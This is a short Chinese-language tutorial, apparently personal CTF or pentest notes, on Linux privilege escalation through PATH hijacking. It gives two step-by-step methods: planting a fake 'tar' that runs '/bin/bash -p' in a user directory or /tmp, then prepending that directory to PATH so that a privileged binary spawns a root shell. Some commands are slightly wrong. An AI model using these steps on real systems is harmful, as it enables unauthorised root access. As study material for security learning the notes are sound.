有些文件可执行,且其中包含一个命令去调用另一个程序,而被调用的程序并没用路径引用,那么可以通过改系统路径的方式来提权
例如有个file文件
strings file
得
tar xxxxx xxxxx
/bin/vim xxx xxx
那么其中,可以通过tar来提权
方法一:
1.先移动到另一个路径下
例:cd /home/jhinjax
2.将该路径添加到系统PATH里
echo PATH=/home/jhinjax:$PATH
此时查看系统路径的话可以看到该路径已被添加
echo $PATH
/home/jhinjax:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
3.在该路径下创建一个相同的程序
echo "/bin/bash -p" > tar
加执行权限
chmod +x tar
4.最后回到file存在的路径,运行file即可变为root
./file
方法二:
1.cd到tmp目录下,因为需要创建和执行文件的权力
cd /tmp
2.创建对应的执行文件,并赋予其可执行的权限
echo “/bin/bash" > tar
chmod 777 tar
3.添加PATH,这也是跟上面有点不同的地方
export PATH=/tmp:$PATH
跟上面不同的是,这里是将tmp添加到系统路径中,上面的是将用户目录添加到系统路径中
4.执行file,即可获取root权限
./file